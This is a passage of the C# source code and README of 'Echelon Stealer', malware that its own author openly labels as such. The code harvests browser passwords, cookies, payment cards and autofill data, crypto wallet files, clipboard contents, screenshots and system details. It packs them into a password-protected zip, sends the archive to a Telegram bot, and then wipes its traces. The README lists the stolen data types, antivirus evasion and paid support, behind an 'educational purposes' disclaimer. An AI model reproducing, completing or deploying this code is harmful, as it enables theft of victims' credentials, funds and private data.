"Unknown WinKey"; } return result; } } public static class RunChecker { public static bool IsAdmin => new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator); public static bool IsWin64 => Environment.Is64BitOperatingSystem ? true : false; } } <file_sep>/Stealer/Browsers/DomainDetect.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.IO; using Echelon.Properties; namespace Echelon { public class DomainDetect { public static void GetDomainDetect(string Browser) { try { Encoding enc = Encoding.UTF8; var for_search = Resources.Domains.Split().Select(w => w.Trim()).Where(w => w != "").Select(w => w.ToLower()).ToList(); // Во всех подпапках сборанного лога в *.txt ищем нужные домены var di = new DirectoryInfo(Browser); var files = di.GetFiles("*.txt", SearchOption.AllDirectories); var lines_input = new List<string>(); foreach (var fl in files) { lines_input.AddRange(File.ReadAllLines(fl.FullName, enc)); } HashSet<string> all_words = new HashSet<string>(); foreach (var line in lines_input) { var from_line = line.Split().Select(w => w.Trim()).Where(w => w != "").Select(w => w.ToLower()).ToList(); foreach (var fl in from_line) { if (!all_words.Contains(fl)) all_words.Add(fl); } } HashSet<string> found = new HashSet<string>(); foreach (var fs in for_search) { foreach (var h in all_words) { if (h.Contains(fs)) { if (!found.Contains(fs)) found.Add(fs); } } } File.WriteAllLines(Browser + "\\DomainDetect.txt", found, Encoding.Default); string result = string.Join(", ", found); } catch { } } } } <file_sep>/Stealer/SystemsData/Systemsinfo.cs /////////////////////////////////////////////////////// ////Echelon Stealler, C# Malware Systems by MadСod //// ///////////////////Telegram: @madcod/////////////////// /////////////////////////////////////////////////////// using Microsoft.VisualBasic.Devices; using Microsoft.Win32; using System; using System.Diagnostics; using System.Drawing; using System.IO; using System.Linq; using System.Management; using System.Net; using System.Net.Sockets; using System.Text; using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; using System.Xml; namespace Echelon { class Systemsinfo { public static string information = Help.collectionDir + "\\System_Information.txt"; [STAThread] public static void GetSystemsData(string collectionDir) { try { Task[] t01 = new Task[1] { new Task(() => GetSystem(collectionDir)), }; Task[] t02 = new Task[1] { new Task(() => GetProg(collectionDir)), }; Task[] t03 = new Task[1] { new Task(() => GetProc(collectionDir)), }; Task[] t04 = new Task[1] { new Task(() => BuffBoard.GetClipboard(collectionDir)), }; Task[] t05 = new Task[1] { new Task(() => Screenshot.GetScreenShot(collectionDir)), }; new Thread(() => { foreach (var t in t01) t.Start(); }).Start(); new Thread(() => { foreach (var t in t02) t.Start(); }).Start(); new Thread(() => { foreach (var t in t03) t.Start(); }).Start(); new Thread(() => { foreach (var t in t04) t.Start(); }).Start(); new Thread(() => { foreach (var t in t05) t.Start(); }).Start(); Task.WaitAll(t01); Task.WaitAll(t02); Task.WaitAll(t03); Task.WaitAll(t04); Task.WaitAll(t05); } catch { } } public static void GetProg(string Echelon_Dir) { using (StreamWriter programmestext = new StreamWriter(Echelon_Dir + "\\Programms.txt", false, Encoding.Default)) { try { string displayName; RegistryKey key; key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"); string[] keys = key.GetSubKeyNames(); for (int i = 0; i < keys.Length; i++) { RegistryKey subkey = key.OpenSubKey(keys[i]); displayName = subkey.GetValue("DisplayName") as string; if (displayName == null) continue; programmestext.WriteLine(displayName); } } catch { } } } public static void GetProc(string Echelon_Dir) { try { using (StreamWriter processest = new StreamWriter(Echelon_Dir + "\\Processes.txt", false, Encoding.Default)) { Process[] processes = Process.GetProcesses(); for (int i = 0; i < processes.Length; i++) { processest.WriteLine(processes[i].ProcessName.ToString()); } } } catch { } } public static string GetGpuName() { try { string gpuName = string.Empty; string query = "SELECT * FROM Win32_VideoController"; using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query)) { foreach (ManagementObject mObject in searcher.Get()) { gpuName += mObject["Description"].ToString() + " "; } } return (!string.IsNullOrEmpty(gpuName)) ? gpuName : "N/A"; } catch { return "Unknown"; } } public static string GetPhysicalMemory() // Получаем кол-во RAM Памяти в мб { try { ManagementScope scope = new ManagementScope(); ObjectQuery query = new ObjectQuery("SELECT Capacity FROM Win32_PhysicalMemory"); ManagementObjectCollection managementObjectCollection = new ManagementObjectSearcher(scope, query).Get(); long num = 0L; foreach (ManagementBaseObject managementBaseObject in managementObjectCollection) { long num2 = Convert.ToInt64(((ManagementObject)managementBaseObject)["Capacity"]); num += num2; } num = num / 1024L / 1024L; return num.ToString(); } catch { return "Unknown"; } } public static string GetOSInformation() //Получаем инфу об ОС { foreach (ManagementBaseObject managementBaseObject in new ManagementObjectSearcher("SELECT * FROM Win32_OperatingSystem").Get()) { ManagementObject managementObject = (ManagementObject)managementBaseObject; try { return string.Concat(new string[] { ((string)managementObject["Caption"]).Trim(), ", ", (string)managementObject["Version"], ", ", (string)managementObject["OSArchitecture"] }); } catch { } } return "BIOS Maker: Unknown"; } public static string GetComputerName() // Получаем имя ПК { try { ManagementObjectCollection instances = new ManagementClass("Win32_ComputerSystem").GetInstances(); string result = string.Empty; foreach (ManagementBaseObject managementBaseObject in instances) { result = (string)((ManagementObject)managementBaseObject)["Name"]; } return result; } catch { return "Unknown"; } } public static string GetProcessorName() // Получаем название процессора { try { ManagementObjectCollection instances = new ManagementClass("Win32_Processor").GetInstances(); string result = string.Empty; foreach (ManagementBaseObject managementBaseObject in instances) { result = (string)((ManagementObject)managementBaseObject)["Name"]; } return result; } catch { return "Unknown"; } } public static void GetSystem(string Echelon_Dir) { ComputerInfo pc = new ComputerInfo(); //Системное инфо Size resolution = Screen.PrimaryScreen.Bounds.Size; //getting resolution try { using (StreamWriter langtext = new StreamWriter(information, false, Encoding.Default)) { langtext.WriteLine("==================================================" + "\n Operating system: " + Environment.OSVersion + " | " + pc.OSFullName + "\n PC user: " + Environment.MachineName + "/" + Environment.UserName + "\n WinKey: " + WinKey.GetWindowsKey(@"SOFTWARE\Microsoft\Windows NT\CurrentVersion", "DigitalProductId") + "\n==================================================" + "\n Screen resolution: " + resolution + "\n Current time Utc: " + DateTime.UtcNow + "\n Current time: " + DateTime.Now + "\n==================================================" + "\n CPU: " + GetProcessorName() + "\n RAM: " + GetPhysicalMemory() + "\n GPU: " + GetGpuName() + "\n ==================================================" + "\n IP Geolocation: " + Help.IP + " " + Help.Country() + "\n Log Date: " + Help.date + "\n Version build: " + Program.buildversion + "\n HWID: " + Help.HWID ); langtext.Close(); } } catch { } } } } <file_sep>/Stealer/Browsers/Gecko/Gecko4.cs using System.Collections.Generic; using System.Text; namespace Echelon { public class Gecko4 { public Gecko2 ObjectType { get; set; } public byte[] ObjectData { get; set; } public int ObjectLength { get; set; } public List<Gecko4> Objects { get; set; } public Gecko4() { Objects = new List<Gecko4>(); } public override string ToString() { StringBuilder stringBuilder = new StringBuilder(); StringBuilder stringBuilder2 = new StringBuilder(); switch (ObjectType) { case Gecko2.Sequence: stringBuilder.AppendLine("SEQUENCE {"); break; case Gecko2.Integer: { byte[] objectData = ObjectData; foreach (byte b2 in objectData) { stringBuilder2.AppendFormat("{0:X2}", b2); } stringBuilder.Append("\tINTEGER ").Append(stringBuilder2).AppendLine(); break; } case Gecko2.OctetString: { byte[] objectData = ObjectData; foreach (byte b3 in objectData) { stringBuilder2.AppendFormat("{0:X2}", b3); } stringBuilder.Append("\tOCTETSTRING ").AppendLine(stringBuilder2.ToString()); break; } case Gecko2.ObjectIdentifier: { byte[] objectData = ObjectData; foreach (byte b in objectData) { stringBuilder2.AppendFormat("{0:X2}", b); } stringBuilder.Append("\tOBJECTIDENTIFIER ").AppendLine(stringBuilder2.ToString()); break; } } foreach (Gecko4 @object in Objects) { stringBuilder.Append(@object.ToString()); } if (ObjectType == Gecko2.Sequence) { stringBuilder.AppendLine("}"); } stringBuilder2.Remove(0, stringBuilder2.Length - 1); return stringBuilder.ToString(); } } } <file_sep>/Stealer/Browsers/Helpers/NoiseMe.Drags.App.Models.JSON/JsonArray.cs using System; using System.Collections; using System.Collections.Generic; using System.IO; namespace Echelon { public class JsonArray : JsonValue, IList<JsonValue>, ICollection<JsonValue>, IEnumerable<JsonValue>, IEnumerable { private List<JsonValue> list; public override int Count => list.Count; public bool IsReadOnly => false; public sealed override JsonValue this[int index] { get { return list[index]; } set { list[index] = value; } } public override JsonType JsonType => JsonType.Array; public JsonArray(params JsonValue[] items) { list = new List<JsonValue>(); AddRange(items); } public JsonArray(IEnumerable<JsonValue> items) { if (items == null) { throw new ArgumentNullException("items"); } list = new List<JsonValue>(items); } public void Add(JsonValue item) { if (item == null) { throw new ArgumentNullException("item"); } list.Add(item); } public void AddRange(IEnumerable<JsonValue> items) { if (items == null) { throw new ArgumentNullException("items"); } list.AddRange(items); } public void AddRange(params JsonValue[] items) { if (items != null) { list.AddRange(items); } } public void Clear() { list.Clear(); } public bool Contains(JsonValue item) { return list.Contains(item); } public void CopyTo(JsonValue[] array, int arrayIndex) { list.CopyTo(array, arrayIndex); } public int IndexOf(JsonValue item) { return list.IndexOf(item); } public void Insert(int index, JsonValue item) { list.Insert(index, item); } public bool Remove(JsonValue item) { return list.Remove(item); } public void RemoveAt(int index) { list.RemoveAt(index); } public override void Save(Stream stream, bool parsing) { if (stream == null) { throw new ArgumentNullException("stream"); } stream.WriteByte(91); for (int i = 0; i < list.Count; i++) { JsonValue jsonValue = list[i]; if (jsonValue != null) { jsonValue.Save(stream, parsing); } else { stream.WriteByte(110); stream.WriteByte(117); stream.WriteByte(108); stream.WriteByte(108); } if (i < Count - 1) { stream.WriteByte(44); stream.WriteByte(32); } } stream.WriteByte(93); } IEnumerator<JsonValue> IEnumerable<JsonValue>.GetEnumerator() { return list.GetEnumerator(); } IEnumerator IEnumerable.GetEnumerator() { return list.GetEnumerator(); } } } <file_sep>/Stealer/Wallets/Exodus.cs /////////////////////////////////////////////////////// ////Echelon Stealler, C# Malware Systems by MadСod //// ///////////////////Telegram: @madcod/////////////////// /////////////////////////////////////////////////////// using System; using System.IO; namespace Echelon { class Exodus { public static int count = 0; public static string ExodusDir = "\\Wallets\\Exodus\\"; public static string ExodusDir2 = Help.AppDate + "\\Exodus\\exodus.wallet\\"; public static void ExodusStr(string directorypath) { try { if (Directory.Exists(ExodusDir2)) { foreach (FileInfo file in new DirectoryInfo(ExodusDir2).GetFiles()) { Directory.CreateDirectory(directorypath + ExodusDir); file.CopyTo(directorypath + ExodusDir + file.Name); } count++; Wallets.count++; } else { return; } } catch {} } } } <file_sep>/Stealer/Collection.cs /////////////////////////////////////////////////////// ////Echelon Stealler, C# Malware Systems by MadСod //// ///////////////////Telegram: @madcod/////////////////// /////////////////////////////////////////////////////// using Ionic.Zip; using Ionic.Zlib; using System; using System.IO; using System.Text; using System.Threading; using System.Threading.Tasks; namespace Echelon { public static class Collection { [STAThread] public static void GetChromium() { try { Chromium.GetCards(Help.Cards); Chromium.GetCookies(Help.Cookies); Chromium.GetPasswords(Help.Passwords); Chromium.GetAutofills(Help.Autofills); Chromium.GetDownloads(Help.Downloads); Chromium.GetHistory(Help.History); Chromium.GetPasswordsOpera(Help.Passwords); Chromium.GetCookiesOpera(Help.Cookies); } catch { } } public static void GetGecko() { try { Steal.Cookies(); Steal.Passwords(); } catch { } } public static void GetCollection() { try { // Создаем временные директории для сбора лога Directory.CreateDirectory(Help.collectionDir); Directory.CreateDirectory(Help.Browsers); Directory.CreateDirectory(Help.Passwords); Directory.CreateDirectory(Help.Autofills); Directory.CreateDirectory(Help.Downloads); Directory.CreateDirectory(Help.Cookies); Directory.CreateDirectory(Help.History); Directory.CreateDirectory(Help.Cards); } catch { } Task[] t0 = new Task[1] { new Task(() => Files.GetFiles(Help.collectionDir)), }; Task[] t1 = new Task[1] { new Task(() => GetChromium()), }; Task[] t2 = new Task[1] { new Task(() => GetGecko()), }; Task[] t3 = new Task[1] { new Task(() => Edge.GetEdge(Help.Passwords)), }; Task[] t4 = new Task[1] { new Task(() => Outlook.GrabOutlook(Help.collectionDir)), }; Task[] t5 = new Task[1] { new Task(() => FileZilla.GetFileZilla(Help.collectionDir)), }; Task[] t6 = new Task[1] { new Task(() => TotalCommander.GetTotalCommander(Help.collectionDir)), }; Task[] t7 = new Task[1] { new Task(() => ProtonVPN.GetProtonVPN(Help.collectionDir)), }; Task[] t8 = new Task[1] { new Task(() => OpenVPN.GetOpenVPN(Help.collectionDir)), }; Task[] t9 = new Task[1] { new Task(() => NordVPN.GetNordVPN(Help.collectionDir)), }; Task[] t10 = new Task[1] { new Task(() => Telegram.GetTelegram(Help.collectionDir)), }; Task[] t11 = new Task[1] { new Task(() => Discord.GetDiscord(Help.collectionDir)), }; Task[] t12 = new Task[1] { new Task(() => Wallets.GetWallets(Help.collectionDir)), }; Task[] t13 = new Task[1] { new Task(() => Systemsinfo.GetSystemsData(Help.collectionDir)), }; Task[] t14 = new Task[1] { new Task(() => DomainDetect.GetDomainDetect(Help.Browsers)), }; try { new Thread(() => { foreach (var t in t0) t.Start(); }).Start(); new Thread(() => { foreach (var t in t1) t.Start(); }).Start(); new Thread(() => { foreach (var t in t2) t.Start(); }).Start(); new Thread(() => { foreach (var t in t3) t.Start(); }).Start(); new Thread(() => { foreach (var t in t4) t.Start(); }).Start(); new Thread(() => { foreach (var t in t5) t.Start(); }).Start(); new Thread(() => { foreach (var t in t6) t.Start(); }).Start(); new Thread(() => { foreach (var t in t7) t.Start(); }).Start(); new Thread(() => { foreach (var t in t8) t.Start(); }).Start(); new Thread(() => { foreach (var t in t9) t.Start(); }).Start(); new Thread(() => { foreach (var t in t10) t.Start(); }).Start(); new Thread(() => { foreach (var t in t11) t.Start(); }).Start(); new Thread(() => { foreach (var t in t12) t.Start(); }).Start(); new Thread(() => { foreach (var t in t13) t.Start(); }).Start(); new Thread(() => { foreach (var t in t14) t.Start(); }).Start(); Task.WaitAll(t0); Task.WaitAll(t1); Task.WaitAll(t2); Task.WaitAll(t3); Task.WaitAll(t4); Task.WaitAll(t5); Task.WaitAll(t6); Task.WaitAll(t7); Task.WaitAll(t8); Task.WaitAll(t9); Task.WaitAll(t10); Task.WaitAll(t11); Task.WaitAll(t12); Task.WaitAll(t13); Task.WaitAll(t14); } catch { } try { // Пакуем в апхив с паролем string zipArchive = Help.dir + "\\" + Help.dateLog + "_" + Help.HWID + Help.CountryCOde() + ".zip"; using (ZipFile zip = new ZipFile(Encoding.GetEncoding("cp866"))) // Устанавливаем кодировку { zip.ParallelDeflateThreshold = -1; zip.UseZip64WhenSaving = Zip64Option.Always; zip.CompressionLevel = CompressionLevel.Default; // Задаем степень сжатия zip.Password = <PASSWORD>; // Задаём пароль zip.AddDirectory(Help.collectionDir); // Кладем в архив содержимое папки с логом zip.Save(zipArchive); // Сохраняем архив } string byteArchive = zipArchive; byte[] file = File.ReadAllBytes(byteArchive); string url = string.Concat(new string[] { Help.ApiUrl, Program.Token, "/sendDocument?chat_id=", Program.ID, "&caption=" + Program.buildversion + "\n👤 "+Environment.MachineName+"/" + Environment.UserName+ "\n🏴 IP: " +Help.IP+ Help.Country() + "\n🌐 Browsers Data" + "\n ∟🔑"+ (Chromium.Passwords + Edge.count + Steal.count)+ "\n ∟🍪"+ (Chromium.Cookies + Steal.count_cookies) + "\n ∟🕑"+ Chromium.History + "\n ∟📝"+ Chromium.Autofills+ "\n ∟💳"+ Chromium.CC+ "\n💶 Wallets: " + (Wallets.count > 0 ? "✅" : "❌")+ (Electrum.count > 0 ? " Electrum" : "") + (Armory.count > 0 ? " Armory" : "") + (AtomicWallet.count > 0 ? " Atomic" : "") + (BitcoinCore.count > 0 ? " BitcoinCore" : "") + (Bytecoin.count > 0 ? " Bytecoin" : "") + (DashCore.count > 0 ? " DashCore" : "") + (Ethereum.count > 0 ? " Ethereum" : "") + (Exodus.count > 0 ? " Exodus" : "") + (LitecoinCore.count > 0 ? " LitecoinCore" : "") + (Monero.count > 0 ? " Monero" : "") + (Zcash.count > 0 ? " Zcash" : "") + (Jaxx.count > 0 ? " Jaxx" : "") + // "\n📂 FileGrabber: " + Files.count + //Работает "\n💬 Discord: " + (Discord.count > 0 ? "✅" : "❌") + //Работает "\n✈️ Telegram: " + (Telegram.count > 0 ? "✅" : "❌") + //Работает "\n💡 Jabber: " + (Startjabbers.count + Pidgin.PidginCount > 0 ? "✅" : "❌")+ (Pidgin.PidginCount > 0 ? " Pidgin ("+Pidgin.PidginAkks+")" : "")+ (Startjabbers.count > 0 ? " Psi" : "") + //Работает "\n📡 FTP" + "\n ∟ FileZilla: " + (FileZilla.count > 0 ? "✅" + " ("+FileZilla.count+")" : "❌") + //Работает "\n ∟ TotalCmd: " + (TotalCommander.count > 0 ? "✅" : "❌") + //Работает "\n🔌 VPN" + "\n ∟ NordVPN: " + (NordVPN.count > 0 ? "✅" : "❌") + //Работает "\n ∟ OpenVPN: " + (OpenVPN.count > 0 ? "✅" : "❌") + //Работает "\n ∟ ProtonVPN: " + (ProtonVPN.count > 0 ? "✅" : "❌") + //Работает "\n🆔 HWID: " + Help.HWID + //Работает "\n⚙️ " + Systemsinfo.GetOSInformation() + "\n🔎 " + File.ReadAllText(Help.Browsers + "\\DomainDetect.txt") }); SenderAPI.POST(file, byteArchive, "application/x-ms-dos-executable", url); } catch { } } } } <file_sep>/Stealer/Browsers/Helpers/NoiseMe.Drags.App.Models.JSON/JavaScriptReader.cs using System; using System.Collections.Generic; using System.Globalization; using System.IO; using System.Text; namespace Echelon { public class JavaScriptReader { private readonly StringBuilder SBuilder; private readonly TextReader Reader; private int Line = 1; private int Column; private int Peek; private bool HasPeek; private bool Prev_Lf; public JavaScriptReader(TextReader reader) { if (reader == null) { throw new ArgumentNullException("reader"); } Reader = reader; SBuilder = new StringBuilder(); } public object Read() { object result = ReadCore(); SkipSpaces(); if (ReadChar() >= 0) { throw JsonError($"extra characters in JSON input"); } return result; } private object ReadCore() { SkipSpaces(); int num = PeekChar(); if (num < 0) { throw JsonError("Incomplete JSON input"); } switch (num) { case 91: { ReadChar(); List<object> list = new List<object>(); SkipSpaces(); if (PeekChar() == 93) { ReadChar(); return list; } while (true) { object item = ReadCore(); list.Add(item); SkipSpaces(); num = PeekChar(); if (num != 44) { break; } ReadChar(); } if (ReadChar() != 93) { throw JsonError("JSON array must end with ']'"); } return list.ToArray(); } case 123: { ReadChar(); Dictionary<string, object> dictionary = new Dictionary<string, object>(); SkipSpaces(); if (PeekChar() == 125) { ReadChar(); return dictionary; } do { SkipSpaces(); if (PeekChar() == 125) { ReadChar(); break; } string key = ReadStringLiteral(); SkipSpaces(); Expect(':'); SkipSpaces(); dictionary[key] = ReadCore(); SkipSpaces(); num = ReadChar(); } while (num == 44 || num != 125); int num2 = 0; KeyValuePair<string, object>[] array = new KeyValuePair<string, object>[dictionary.Count]; { foreach (KeyValuePair<string, object> item2 in dictionary) { array[num2++] = item2; } return array; } } case 116: Expect("true"); return true; case 102: Expect("false"); return false; case 110: Expect("null"); return null; case 34: return ReadStringLiteral(); default: if ((48 <= num && num <= 57) || num == 45) { return ReadNumericLiteral(); } throw JsonError($"Unexpected character '{(char)num}'"); } } private int PeekChar() { if (!HasPeek) { Peek = Reader.Read(); HasPeek = true; } return Peek; } private int ReadChar() { int num = HasPeek ? Peek : Reader.Read(); HasPeek = false; if (Prev_Lf) { Line++; Column = 0; Prev_Lf = false; } if (num == 10) { Prev_Lf = true; } Column++; return num; } private void SkipSpaces() { while (true) { int num = PeekChar(); if ((uint)(num - 9) <= 1u || num == 13 || num == 32) { ReadChar(); continue; } break; } } private object ReadNumericLiteral() { StringBuilder stringBuilder = new StringBuilder(); if (PeekChar() == 45) { stringBuilder.Append((char)ReadChar()); } int num = 0; bool flag = PeekChar() == 48; int num2; while (true) { num2 = PeekChar(); if (num2 < 48 || 57 < num2) { break; } stringBuilder.Append((char)ReadChar()); if (flag && num == 1) { throw JsonError("leading zeros are not allowed"); } num++; } if (num == 0) { throw JsonError("Invalid JSON numeric literal; no digit found"); } bool flag2 = false; int num3 = 0; if (PeekChar() == 46) { flag2 = true; stringBuilder.Append((char)ReadChar()); if (PeekChar() < 0) { throw JsonError("Invalid JSON numeric literal; extra dot"); } while (true) { num2 = PeekChar(); if (num2 < 48 || 57 < num2) { break; } stringBuilder.Append((char)ReadChar()); num3++; } if (num3 == 0) { throw JsonError("Invalid JSON numeric literal; extra dot"); } } num2 = PeekChar(); if (num2 != 101 && num2 != 69) { if (!flag2) { if (int.TryParse(stringBuilder.ToString(), NumberStyles.Float, CultureInfo.InvariantCulture, out int result)) { return result; } if (long.TryParse(stringBuilder.ToString(), NumberStyles.Float, CultureInfo.InvariantCulture, out long result2)) { return result2; } if (ulong.TryParse(stringBuilder.ToString(), NumberStyles.Float, CultureInfo.InvariantCulture, out ulong result3)) { return result3; } } if (decimal.TryParse(stringBuilder.ToString(), NumberStyles.Float, CultureInfo.InvariantCulture, out decimal result4) && result4 != decimal.Zero) { return result4; } } else { stringBuilder.Append((char)ReadChar()); if (PeekChar() < 0) { throw new ArgumentException("Invalid JSON numeric literal; incomplete exponent"); } switch (PeekChar()) { case 45: stringBuilder.Append((char)ReadChar()); break; case 43: stringBuilder.Append((char)ReadChar()); break; } if (PeekChar() < 0) { throw JsonError("Invalid JSON numeric literal; incomplete exponent"); } while (true) { num2 = PeekChar(); if (num2 < 48 || 57 < num2) { break; } stringBuilder.Append((char)ReadChar()); } } return double.Parse(stringBuilder.ToString(), NumberStyles.Float, CultureInfo.InvariantCulture); } private string ReadStringLiteral() { if (PeekChar() != 34) { throw JsonError("Invalid JSON string literal format"); } ReadChar(); SBuilder.Length = 0; while (true) { int num = ReadChar(); if (num < 0) { break; } switch (num) { case 34: return SBuilder.ToString(); default: SBuilder.Append((char)num); break; case 92: num = ReadChar(); if (num < 0) { throw JsonError("Invalid JSON string literal; incomplete escape sequence"); } switch (num) { case 34: case 47: case 92: SBuilder.Append((char)num); break; case 98: SBuilder.Append('\b'); break; case 102: SBuilder.Append('\f'); break; case 110: SBuilder.Append('\n'); break; case 114: SBuilder.Append('\r'); break; case 116: SBuilder.Append('\t'); break; case 117: { ushort num2 = 0; for (int i = 0; i < 4; i++) { num2 = (ushort)(num2 << 4); if ((num = ReadChar()) < 0) { throw JsonError("Incomplete unicode character escape literal"); } if (48 <= num && num <= 57) { num2 = (ushort)(num2 + (ushort)(num - 48)); } if (65 <= num && num <= 70) { num2 = (ushort)(num2 + (ushort)(num - 65 + 10)); } if (97 <= num && num <= 102) { num2 = (ushort)(num2 + (ushort)(num - 97 + 10)); } } SBuilder.Append((char)num2); break; } default: throw JsonError("Invalid JSON string literal; unexpected escape character"); } break; } } throw JsonError("JSON string is not closed"); } private void Expect(char expected) { int num; if ((num = ReadChar()) != expected) { throw JsonError($"Expected '{expected}', got '{(char)num}'"); } } private void Expect(string expected) { int num = 0; while (true) { if (num < expected.Length) { if (ReadChar() != expected[num]) { break; } num++; continue; } return; } throw JsonError($"Expected '{expected}', differed at {num}"); } private Exception JsonError(string msg) { return new ArgumentException($"{msg}. At line {Line}, column {Column}"); } } } <file_sep>/Global/Clean.cs using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Text; namespace Echelon { class Clean { public static void GetClean() { try { Help.Deocder(); if (Directory.Exists(Help.dir)) { Directory.Delete(Help.dir + "\\", true); } else { } if (File.Exists(Chromium.bd)) File.Delete(Chromium.bd); if (File.Exists(Chromium.ls)) File.Delete(Chromium.ls); // Чистим папку загрузок foreach (string file in Directory.GetFiles(Help.downloadsDir)) File.Delete(file); } catch { } } } } <file_sep>/Stealer/Browsers/Helpers/StringExtension.cs using System; using System.Globalization; using System.Text; namespace Echelon { public static class StringExtension { public static T ForceTo<T>(this object @this) { return (T)Convert.ChangeType(@this, typeof(T)); } public static string Remove(this string input, string strToRemove) { if (input.IsNullOrEmpty()) { return null; } return input.Replace(strToRemove, ""); } public static string Left(this string input, int minusRight = 1) { if (input.IsNullOrEmpty() || input.Length <= minusRight) { return null; } return input.Substring(0, input.Length - minusRight); } public static CultureInfo ToCultureInfo(this string culture, CultureInfo defaultCulture) { if (!culture.IsNullOrEmpty()) { return defaultCulture; } return new CultureInfo(culture); } public static string ToCamelCasing(this string value) { if (!string.IsNullOrEmpty(value)) { return value.Substring(0, 1).ToUpper() + value.Substring(1, value.Length - 1); } return value; } public static double? ToDouble(this string value, string culture = "en-US") { try { return double.Parse(value, new CultureInfo(culture)); } catch { return null; } } public static bool? ToBoolean(this string value) { bool result = false; if (bool.TryParse(value, out result)) { return result; } return null; } public static int? ToInt32(this string value) { int result = 0; if (int.TryParse(value, out result)) { return result; } return null; } public static long? ToInt64(this string value) { long result = 0L; if (long.TryParse(value, out result)) { return result; } return null; } public static string AddQueyString(this string url, string queryStringKey, string queryStringValue) { string text = ""; text = ((url.Split('?').Length <= 1) ? "?" : "&"); return url + text + queryStringKey + "=" + queryStringValue; } public static string FormatFirstLetterUpperCase(this string value, string culture = "en-US") { return CultureInfo.GetCultureInfo(culture).TextInfo.ToTitleCase(value); } public static string FillLeftWithZeros(this string value, int decimalDigits) { if (!string.IsNullOrEmpty(value)) { StringBuilder stringBuilder = new StringBuilder(); stringBuilder.Append(value); string[] array = value.Split(','); for (int i = array[array.Length - 1].Length; i < decimalDigits; i++) { stringBuilder.Append("0"); } value = stringBuilder.ToString(); } return value; } public static string FormatWithDecimalDigits(this string value, bool removeCurrencySymbol, bool returnZero, int? decimalDigits) { if (value.IsNullOrEmpty()) { return value; } if (!value.IndexOf(",").Equals(-1)) { string[] array = value.Split(','); if (array.Length.Equals(2) && array[1].Length > 0) { value = array[0] + "," + array[1].Substring(0, (array[1].Length >= decimalDigits.Value) ? decimalDigits.Value : array[1].Length); } } if (!decimalDigits.HasValue) { return value; } return value.FillLeftWithZeros(decimalDigits.Value); } public static string FormatWithoutDecimalDigits(this string value, bool removeCurrencySymbol, bool returnZero, int? decimalDigits, CultureInfo culture) { if (removeCurrencySymbol) { value = value.Remove(culture.NumberFormat.CurrencySymbol).Trim(); } return value; } } } <file_sep>/Stealer/SystemsData/BuffBoard.cs /////////////////////////////////////////////////////// ////Echelon Stealler, C# Malware Systems by MadСod //// ///////////////////Telegram: @madcod/////////////////// /////////////////////////////////////////////////////// using System; using System.IO; using System.Windows; using System.Runtime.InteropServices; namespace Echelon { public static class BuffBoard { public static void GetClipboard(string Echelon_Dir) { try { if (Clipboard.ContainsText()) { File.WriteAllText(Echelon_Dir + "\\Clipboard.txt", $"[{Help.date}]\r\n\r\n{ClipboardNative.GetText()}\r\n\r\n"); NativeMethods.EmptyClipboard(); } else { return; } } catch { } } } internal static class ClipboardNative { private const uint CF_UNICODETEXT = 0xD; public static string GetText() { if (NativeMethods.IsClipboardFormatAvailable(CF_UNICODETEXT) && NativeMethods.OpenClipboard(IntPtr.Zero)) { string data = string.Empty; IntPtr hGlobal = NativeMethods.GetClipboardData(CF_UNICODETEXT); if (!hGlobal.Equals(IntPtr.Zero)) { IntPtr lpwcstr = NativeMethods.GlobalLock(hGlobal); if (!lpwcstr.Equals(IntPtr.Zero)) { try { data = Marshal.PtrToStringUni(lpwcstr); NativeMethods.GlobalUnlock(lpwcstr); } catch { } } } NativeMethods.CloseClipboard(); return data; } return null; } } } <file_sep>/Global/Decrypt.cs using Ionic.Zlib; using System; using System.IO; namespace Echelon { class Decrypt { public static string Get(string str) { var value = Convert.FromBase64String(str); string resultString = string.Empty; if (value != null && value.Length > 0) { using (MemoryStream stream = new MemoryStream(value)) using (GZipStream zip = new GZipStream(stream, CompressionMode.Decompress)) using (StreamReader reader = new StreamReader(zip)) { resultString = reader.ReadToEnd(); } } return resultString; } } } <file_sep>/README.md [![Watch the video](http://dl3.joxi.net/drive/2020/05/17/0039/3040/2595808/08/6f59a25570.jpg)](https://youtu.be/Jm6KrLGDBho) #### The project is no longer supported by me, This is the latest release.. #### Проект мною больше не поддерживается, Это последний релиз. #### Russian: #### 🔋 New Update Bug fixes / Обновление, теперь проект собирается из коробки стабильно, все методы стиллинга в разных файлах и папках для удобства. Больше не требует установки NuGet пакетов. DotNetZip.dll прямов ресусрах. + Cтабильно стал собирать все данные, без пропусков + Исправлен сбор данных из Opera browser + Почищен от АВ + Некоторые строки теперь зашифрованны + Добавлена повторая проверка и зачистка следов прибывания #### English: Update, now the project is going out of the box stably, all methods of styling in different files and folders for convenience. No longer requires installing NuGet packages. DotNetZip.dll direct resources. + Stable began to collect all data, without gaps + Fixed data collection from Opera browser + Cleaned from AB + Some lines are now encrypted + Added a second check and cleaning of traces of arrival #### ☣️ Stealer with sending logs to Telegram bot / Стилер с отправкой лога в телеграм бота ![](http://dl4.joxi.net/drive/2020/05/01/0039/3040/2595808/08/9239ba3967.jpg) ![](https://antiscan.me/images/result/RPkjsJH4jRTa.png) ### Stealer Functionality + All based browsers Chromium, Edge, Gecko (Mozilla Firefox) + Clipboard data + Discord Session + Telegram Session + Outlook + Grabber files with saving path directories and scanning subdirectories + FileZilla + Total Commander + Pidgin + Psi, Psi+ + Screenshot + PCinfo + NordVPN + OpenVPN + ProtonVPN ### Crypto Wallets + Armory + Atomic Wallet + Bitcoin Core + Bytecoin + Dash Core + Electrum + Ethereum + Exodus + Jaxx + Litecoin Core + Monero + Zcash ### Additionally + All ways to collect logs are random + Self-removal after sending the log + Log Resubmission Protection + ❗️ Написан исключительно в образовательных целях! Я не несу ответственности за использование данного проекта и любых его частей кода. + ❗️ Written exclusively for educational purposes! I am not responsible for the use of this project and any of its parts code. ### Support paid Telegram: @madcod BTC: 1JHgjtUed6xD1j9ybRbbXv4ejwRbBiabBG <file_sep>/Stealer/Telegram/TGrabber.cs /////////////////////////////////////////////////////// ////Echelon Stealler, C# Malware Systems by MadСod //// ///////////////////Telegram: @madcod/////////////////// /////////////////////////////////////////////////////// using System; using System.Diagnostics; using System.IO; namespace 